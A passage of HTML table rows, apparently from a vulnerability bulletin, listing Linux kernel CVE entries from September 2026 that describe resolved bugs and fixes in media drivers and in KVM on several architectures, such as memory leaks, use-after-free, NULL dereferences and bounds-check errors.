&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: chips-media: wave5: Add timeout while stop_streaming When stop_streaming is called, an infinite loop may occur in some cases. Add a bounded poll of the queue status: loop until the queues drain, sleeping briefly between polls, and bail out once VPU_DEC_STOP_TIMEOUT elapses.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89868&quot; target=&quot;_blank&quot;&gt;CVE-2026-89868&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: qcom: iris: use disable_irq() during power-off The IRQ is registered as a threaded IRQ. Using disable_irq_nosync() in iris_vpu_power_off() does not wait for an already queued threaded IRQ handler to complete before returning. As a result, a threaded IRQ handler may still run after the VPU has been powered down and access hardware registers after power-off. Replace disable_irq_nosync() with disable_irq() so the power-off path waits for any in-flight threaded IRQ handler to complete before returning.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89869&quot; target=&quot;_blank&quot;&gt;CVE-2026-89869&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: video-i2c: fix kthread error pointer left in kthread_vid_cap on failure kthread_run() returns an ERR_PTR on failure, not NULL. When start_streaming() fails, data-&amp;gt;kthread_vid_cap is left holding this error pointer instead of being cleared. This causes two subsequent bugs: 1. A future call to start_streaming() sees a non-NULL kthread_vid_cap and returns 0 (success) immediately, without actually starting the capture thread. 2. A call to stop_streaming() checks &#039;kthread_vid_cap == NULL&#039; which is false for an error pointer, and proceeds to call kthread_stop() on the error pointer, leading to a kernel crash. Fix this by resetting kthread_vid_cap to NULL on failure before jumping to the error path.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89871&quot; target=&quot;_blank&quot;&gt;CVE-2026-89871&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: v4l2-fwnode: Fix fwnode leak in v4l2_fwnode_parse_link In v4l2_fwnode_parse_link(), the remote endpoint fwnode reference is acquired using fwnode_graph_get_remote_endpoint(). This reference is properly released in the error paths, but it is leaked on the success path. Add the missing fwnode_handle_put() before returning 0 to prevent the reference leak. [Sakari Ailus: Fix subject prefix and coding style a little.]&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89872&quot; target=&quot;_blank&quot;&gt;CVE-2026-89872&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: v4l2-async: avoid deleting unlinked ASC entry on link error v4l2_async_match_notify() creates ancillary media links before adding asc-&amp;gt;asc_subdev_entry to sd-&amp;gt;asc_list. If ancillary link creation fails, the function jumps to err_call_unbind while asc_subdev_entry has not been linked yet. Async connections are zero-allocated, so the list entry still has NULL next and prev pointers on this path. Calling list_del() on it can therefore dereference NULL instead of returning the original link creation error. Do not delete asc_subdev_entry from err_call_unbind. There is no list insertion to undo on this path; the bound callback and sub-device registration are the operations that need to be rolled back.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89874&quot; target=&quot;_blank&quot;&gt;CVE-2026-89874&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: tda18250: fix possible integer overflow Integer overflow may occur, when variable exp equals to zero. Result of shift 1 &amp;lt;&amp;lt; (exp - 1) may then leads to undefined behavior.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89876&quot; target=&quot;_blank&quot;&gt;CVE-2026-89876&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: s2255: check firmware size before reading trailing marker s2255_probe() reads a 4-byte marker and version from the last 8 bytes of the firmware blob (fw-&amp;gt;data[fw_size - 8] and [fw_size - 4]). If the firmware file is shorter than 8 bytes, fw_size - 8 underflows and the access reads out of bounds. Validate the firmware size before indexing.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89878&quot; target=&quot;_blank&quot;&gt;CVE-2026-89878&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: s2255: bound JPEG frame size before copying into the buffer s2255_fillbuff() memcpy()s vc-&amp;gt;jpg_size bytes of a captured JPEG/MJPEG frame into the vb2 plane. vc-&amp;gt;jpg_size is taken verbatim from the S2255_MARKER_FRAME header the device sends (pdword[4] in save_frame()) and, unlike the frame payload length just above it, is never bounded: payload = le32_to_cpu(pdword[3]); if (payload &amp;gt; vc-&amp;gt;req_image_size) /* payload is checked ... */ return -EINVAL; vc-&amp;gt;pkt_size = payload; vc-&amp;gt;jpg_size = le32_to_cpu(pdword[4]); /* ... jpg_size is not */ A malicious or malfunctioning device can therefore report a jpg_size larger than the destination vb2 plane, and the memcpy() writes past it. jpg_size is a signed int, so a value with the top bit set also turns into a huge length. Reject a frame whose jpg_size is negative or exceeds the plane size before copying it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89879&quot; target=&quot;_blank&quot;&gt;CVE-2026-89879&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: rtl2832_sdr: use vb2_video_unregister_device() on remove to fix DMA leak rtl2832_sdr_remove() runs on USB disconnect and clears dev-&amp;gt;udev to NULL before any pending streaming teardown has run. When user space later closes its file descriptor, vb2 calls rtl2832_sdr_stop_streaming() which in turn calls rtl2832_sdr_free_stream_bufs(). That helper releases each coherent buffer with: usb_free_coherent(dev-&amp;gt;udev, dev-&amp;gt;buf_size, dev-&amp;gt;buf_list[dev-&amp;gt;buf_num], dev-&amp;gt;dma_addr[dev-&amp;gt;buf_num]); usb_free_coherent() returns immediately when its dev argument is NULL, so every DMA stream buffer that was live at disconnect is silently leaked. The URBs allocated in rtl2832_sdr_alloc_urbs() outlive the device for the same reason. The rtl2832_sdr driver uses vb2_fop_release() in its file_operations, so replace video_unregister_device(&amp;amp;dev-&amp;gt;vdev) with vb2_video_unregister_device(&amp;amp;dev-&amp;gt;vdev) and move it before clearing dev-&amp;gt;udev. vb2_video_unregister_device() releases the vb2 queue, which synchronously runs rtl2832_sdr_stop_streaming() if streaming is active, so URBs and coherent DMA stream buffers are freed while dev-&amp;gt;udev is still valid. vb2_video_unregister_device() locks vdev-&amp;gt;queue-&amp;gt;lock (vb_queue_lock) internally, and stop_streaming() locks v4l2_lock, so the previous outer mutex_lock(&amp;amp;dev-&amp;gt;vb_queue_lock) / mutex_lock(&amp;amp;dev-&amp;gt;v4l2_lock) pair around the unregister sequence would self-deadlock and has been removed. A short v4l2_lock critical section around dev-&amp;gt;udev = NULL remains so any ioctl path that still holds the file descriptor sees coherent state. Issue identified by automated review of the INV-003 series at https://sashiko.dev/&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89881&quot; target=&quot;_blank&quot;&gt;CVE-2026-89881&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: platform: mtk-mdp3: fix NULL deref on failed SCP lookup Add the missing sanity check after looking up the SCP to avoid dereferencing a NULL-pointer in case its driver has not yet been bound.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89884&quot; target=&quot;_blank&quot;&gt;CVE-2026-89884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: intel/ipu6: fix async notifier cleanup leak on parse error isys_notifier_init() calls v4l2_async_nf_init() and then adds fwnode remote subdevs in a loop with v4l2_async_nf_add_fwnode_remote(). If an endpoint parse or add fails partway through the loop, it jumps to err_parse and returns without calling v4l2_async_nf_cleanup(), leaking every v4l2_async_connection already added to the notifier&#039;s waiting list. The register-failure path just below already cleans up correctly, and the caller only tears the notifier down (isys_notifier_cleanup()) once isys_notifier_init() has returned success. Clean up the notifier on the parse error path too.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89886&quot; target=&quot;_blank&quot;&gt;CVE-2026-89886&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: i2c: imx415: Release runtime PM reference on VBLANK error The VBLANK path returned immediately when programming VMAX failed after pm_runtime_get_if_in_use() had taken a runtime PM reference. Break out of the switch instead so the common pm_runtime_put() path is used.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89889&quot; target=&quot;_blank&quot;&gt;CVE-2026-89889&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: em28xx: fix use-after-free of dev_next-&amp;gt;devlist on disconnect When a device with has_dual_ts=1 is probed and the is_audio_only path is taken, both dev and dev-&amp;gt;dev_next are added to the global em28xx_devlist via em28xx_init_extension(). However, during disconnect, em28xx_close_extension(dev) only calls list_del(&amp;amp;dev-&amp;gt;devlist), leaving dev-&amp;gt;dev_next-&amp;gt;devlist still linked in the global list. When dev_next is subsequently freed via kref_put(), its devlist entry becomes a dangling pointer in em28xx_devlist. The next device probe that calls em28xx_init_extension() triggers a list corruption BUG when list_add_tail detects the freed node. This bug was exposed by commit a368ecde8a50 (&quot;USB: core: Fix duplicate endpoint bug by clearing reserved bits in the descriptor&quot;) which clears reserved bits in bEndpointAddress during endpoint parsing. This causes fuzzed endpoint addresses like 0xf3 to be normalized to 0x83, which em28xx interprets as a vendor audio endpoint, enabling the is_audio_only + has_dual_ts code path that was previously unreachable with such descriptors. Fix this by removing dev-&amp;gt;dev_next-&amp;gt;devlist from the global list in em28xx_close_extension() before the device is freed.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89891&quot; target=&quot;_blank&quot;&gt;CVE-2026-89891&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: em28xx: defer audio-only extension registration The audio-only path registers extensions while probing the primary device. For a dual-TS board, this happens before dev_next is created. The duplicate device inherits is_audio_only and is then independently inserted into em28xx_devlist. The list is intended to contain only primary devices: extension operations reach the secondary device through dev_next. The independently linked secondary can be freed during disconnect while its list node remains reachable, resulting in a use-after-free. Defer audio-only extension registration to the module-request work item. It runs only after probing has completed construction of the optional secondary device, so only the primary is registered and extension callbacks reach the secondary through dev_next.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89892&quot; target=&quot;_blank&quot;&gt;CVE-2026-89892&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: cobalt: Avoid freeing ALSA private data twice snd_cobalt_card_create() stores cobsc in sc-&amp;gt;private_data and installs snd_cobalt_card_private_free() as sc-&amp;gt;private_free. From that point, snd_card_free(sc) releases cobsc through the ALSA card cleanup path. If cobalt_alsa_init() fails after snd_cobalt_card_create(), the err_exit_free path calls snd_card_free(sc) and then kfree(cobsc). That second free releases the same object again. Remove the explicit kfree(cobsc) and leave ownership with the ALSA card. This issue was found by a static analysis checker and confirmed by manual source review.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89895&quot; target=&quot;_blank&quot;&gt;CVE-2026-89895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: cedrus: fix memory leak in cedrus_init_ctrls() In cedrus_init_ctrls(), the V4L2 control handler is initialized before allocating memory for ctx-&amp;gt;ctrls. If this allocation fails, the function returns -ENOMEM without freeing the previously allocated handler resources, leading to a memory leak. Fix this by calling v4l2_ctrl_handler_free() on the ctx-&amp;gt;ctrls allocation failure path. The bug was first flagged by an experimental analysis tool we are developing for kernel memory-management bugs while analyzing v6.13-rc1. The tool is still under development and is not yet publicly available. Manual inspection confirms that the bug is still present in v7.1.1. An x86_64 allyesconfig build showed no new warnings. As we do not have an Allwinner SoC or board with a Cedrus VPU available to test with, no runtime testing was able to be performed.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89896&quot; target=&quot;_blank&quot;&gt;CVE-2026-89896&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: cec: core: Fix kmemleak due to missed rc_free_device() call The commit dccc0c3ddf8f (&quot;media: rc: fix race between unregister and urb/irq callbacks&quot;) removed the implicit call to rc_free_device() from rc_unregister_device(). However, the commit missed to remove the NULL assignment of adap-&amp;gt;rc that is now causing rc_free_device() to never be called on an allocated rc device. kmemleak reports following after e.g. dw-hdmi unbind: unreferenced object 0xffff00010ac10000 (size 4096): comm &quot;kworker/u16:1&quot;, pid 39, jiffies 4294897739 hex dump (first 32 bytes): 20 23 4b 0a 01 00 ff ff 08 00 c1 0a 01 00 ff ff #K............. 08 00 c1 0a 01 00 ff ff 00 00 00 00 00 00 00 00 ................ backtrace (crc e11baccc): kmemleak_alloc+0x38/0x44 __kmalloc_cache_noprof+0x4a8/0x5e0 rc_allocate_device+0x48/0x2a0 cec_allocate_adapter+0x3ac/0x800 dw_hdmi_cec_probe+0x264/0x634 platform_probe+0xc0/0x188 really_probe+0x4a4/0x8e0 __driver_probe_device+0x2f8/0x440 driver_probe_device+0x60/0x160 __device_attach_driver+0x1a0/0x2a0 bus_for_each_drv+0x100/0x1a0 __device_attach+0x174/0x350 device_initial_probe+0x90/0xb0 bus_probe_device+0x4c/0x120 device_add+0xdec/0x116c platform_device_add+0x354/0x598 Remove the assignment of adap-&amp;gt;rc to NULL to let cec_delete_adapter() free the allocated rc device after last user of the cec device exits to fix the kmemleak.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89900&quot; target=&quot;_blank&quot;&gt;CVE-2026-89900&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: airspy: use vb2_video_unregister_device() on disconnect to fix NULL deref airspy_disconnect() clears s-&amp;gt;udev under v4l2_lock, but airspy_stop_streaming() unconditionally calls airspy_ctrl_msg() and airspy_free_stream_bufs() afterwards. If a streaming user closes the device after disconnect, stop_streaming() runs and dereferences the NULL s-&amp;gt;udev: airspy_stop_streaming() airspy_ctrl_msg(s, CMD_RECEIVER_MODE, 0, 0, NULL, 0) usb_sndctrlpipe(s-&amp;gt;udev, 0) /* NULL deref */ airspy_free_stream_bufs(s) usb_free_coherent(s-&amp;gt;udev, ...) /* NULL deref */ The airspy driver uses vb2_fop_release() in its file_operations, so replace video_unregister_device(&amp;amp;s-&amp;gt;vdev) with vb2_video_unregister_device(&amp;amp;s-&amp;gt;vdev) and move it before clearing s-&amp;gt;udev. vb2_video_unregister_device() releases the vb2 queue, which synchronously runs airspy_stop_streaming() if streaming is active, so the URBs, coherent DMA stream buffers and the hardware stop control message all execute while s-&amp;gt;udev is still valid. vb2_video_unregister_device() locks vdev-&amp;gt;queue-&amp;gt;lock (vb_queue_lock) internally, and stop_streaming() locks v4l2_lock, so the previous outer mutex_lock(&amp;amp;s-&amp;gt;vb_queue_lock) / mutex_lock(&amp;amp;s-&amp;gt;v4l2_lock) pair around the unregister sequence would self-deadlock and has been removed. A short v4l2_lock critical section around s-&amp;gt;udev = NULL remains so any ioctl path that still holds the file descriptor sees coherent state. Issue identified by automated review of the INV-003 series at https://sashiko.dev/&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89901&quot; target=&quot;_blank&quot;&gt;CVE-2026-89901&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: LoongArch: BPF: Move arena register slot below TCC context Currently, the stack layout places the optional arena register slot above the tail call counter context. When arena_vm_start is dynamically enabled, it shifts the relative offset of the tcc_ptr slot within the stack frame, causing hardcoded tracking macros to mismatch and leading to memory misalignment or corruption potentially. To fix this, move the arena register save and restore sequences below the tail call counter context slots in both build_prologue() and the epilogue. Update __build_epilogue() to insert a proper offset decrement to safely skip the unneeded tcc_ptr reading block while accurately aligning with the relocated arena slot at the very bottom. With this patch, the tcc_ptr slot is always positioned at a fixed distance directly underneath the base callee-saved registers that is independent of whether the arena features are on.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89905&quot; target=&quot;_blank&quot;&gt;CVE-2026-89905&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: LoongArch: KVM: Free init resources if kvm_init() fails kvm_loongarch_init() calls kvm_loongarch_env_init() to allocate the per-CPU kvm_context (vmcs) and kvm_loongarch_ops and to register the perf callbacks, and then calls kvm_init(). If kvm_init() fails its result is returned directly, but since module_init() does not run the module_exit() stuff on failure, so kvm_loongarch_env_exit() is never called and those resources are leaked. So call kvm_loongarch_env_exit() when kvm_init() fails, matching the teardown-on-failure pattern used by riscv_kvm_init().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89909&quot; target=&quot;_blank&quot;&gt;CVE-2026-89909&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Handle VNCR TLB invalidation race with vcpu_put() VNCR unmapping While VNCR TLB invalidation always occurs under the MMU lock, vcpu_put() doesn&#039;t, while it unmaps the VNCR page. The problem is that the invalidation evaluates vncr_tlb::cpu to decide whether an unmapping needs to take place (cpu != -1) before performing it. On the other hand, this_cpu_reset_vncr_fixmap() unconditionally unmaps if L1_VNCR_MAPPED is set. These two obviously can race, with a TOCTOU pattern on the TLBI path, and a BUG_ON() on the vcpu_put() path. And the two can end-up calling vncr_fixmap(-1), with extra lethal effects. Move the reset of vncr_tlb::cpu to -1 to a common function, and make this update atomic so that only a single thread can reset the field and perform the corresponding unmap. The vcpu_put() still need to unconditionally unmap the current VNCR to close another ugly race. Finally, the assignment of vncr_tlb::cpu is moved to be kept in sync with the actual mapping, similar to L1_VNCR_MAPPED being set.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89917&quot; target=&quot;_blank&quot;&gt;CVE-2026-89917&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Zero initialize data structures for inject_pfault_token __kvm_inject_pfault_token() only sets .type and .u.ext.ext_params2 of the on-stack struct kvm_s390_irq but the full ext substructure is copied into the cpu local variable on inject. ext_params and pad contain stale stack values. Interrupt delivery only uses ext_params2, so nothing leaks to the guest, but a host user can use the migration ioctls to get to the data. Fix by zero-initializing the irq struct. Do the same for the inti data structure.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89921&quot; target=&quot;_blank&quot;&gt;CVE-2026-89921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Free guest debug data on vcpu destroy kvm_s390_clear_bp_data() is only called from kvm_arch_vcpu_ioctl_set_guest_debug(), i.e. when user space changes or disables debugging. A vCPU that is destroyed while hardware breakpoints are still armed - the normal case when the VMM just exits or crashes - leaks hw_bp_info, hw_wp_info and all old_data buffers, since generic KVM frees the vCPU right after kvm_arch_vcpu_destroy(). That is bounded by MAX_BP_COUNT entries, so roughly 8 KiB per vCPU, but it is unbounded over VM lifetimes. The allocations are GFP_KERNEL_ACCOUNT, so the charge also outlives the exiting process and pins dying memcgs. Fix by clearing the debug data on vCPU destruction. Calling it unconditionally is fine: struct kvm_vcpu is zero allocated, so for a vCPU that never enabled debugging the counters are 0 and the pointers NULL.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89923&quot; target=&quot;_blank&quot;&gt;CVE-2026-89923&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Fix old_data leak in guest debug error path __import_wp_info() allocates a per-watchpoint old_data buffer to back up the original guest memory contents. If a later watchpoint of the same KVM_SET_GUEST_DEBUG request fails to import, kvm_s390_import_bp_data() jumps to the error label, which frees the wp_info array but not the old_data buffers of the entries that were imported successfully. Up to MAX_BP_COUNT - 1 buffers of up to MAX_WP_SIZE bytes are leaked per failed request, and the request can be repeated. Create error handling for cleaning up all created old_data memory areas.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89924&quot; target=&quot;_blank&quot;&gt;CVE-2026-89924&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Fix memory leak in guest debug handling bp_data is freed only for the error case by kfree(bp_data). Every successful KVM_SET_GUEST_DEBUG will leak bp_data.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89925&quot; target=&quot;_blank&quot;&gt;CVE-2026-89925&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Fix length check __import_wp_info() struct kvm_hw_breakpoint::len is a __u64 that is fully controlled by user space. This is then assigned to wp_info-&amp;gt;len, which is an int. The bounds check is done on the truncated value while the allocation uses the untruncated one: wp_info-&amp;gt;len = bp_data-&amp;gt;len; [...] if (wp_info-&amp;gt;len &amp;lt; 0 || wp_info-&amp;gt;len &amp;gt; MAX_WP_SIZE) return -EINVAL; wp_info-&amp;gt;old_data = kmalloc(bp_data-&amp;gt;len, GFP_KERNEL_ACCOUNT); Use the validated value for the allocation as intended. Without this fix userspace can trigger &amp;gt;4GB allocations which will fail and result in a WARN due to MAX_PAGE_ORDER.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89926&quot; target=&quot;_blank&quot;&gt;CVE-2026-89926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: nVMX: Ensure KVM_REQ_GET_NESTED_STATE_PAGES is cleared on VM-Exit Always check and clear KVM_REQ_GET_NESTED_STATE_PAGES when emulating a nested VM-Exit to ensure the request is cleared, even when KVM was built with CONFIG_KVM_HYPERV=n, as KVM subtly relies on the &quot;check&quot; to clear the flag and thus avoid double-mapping the vmcs12 pages, e.g. if KVM manages to bail from VM-Enter without processing the request, and then emulates VMLAUNCH or VMRESUME.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89931&quot; target=&quot;_blank&quot;&gt;CVE-2026-89931&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
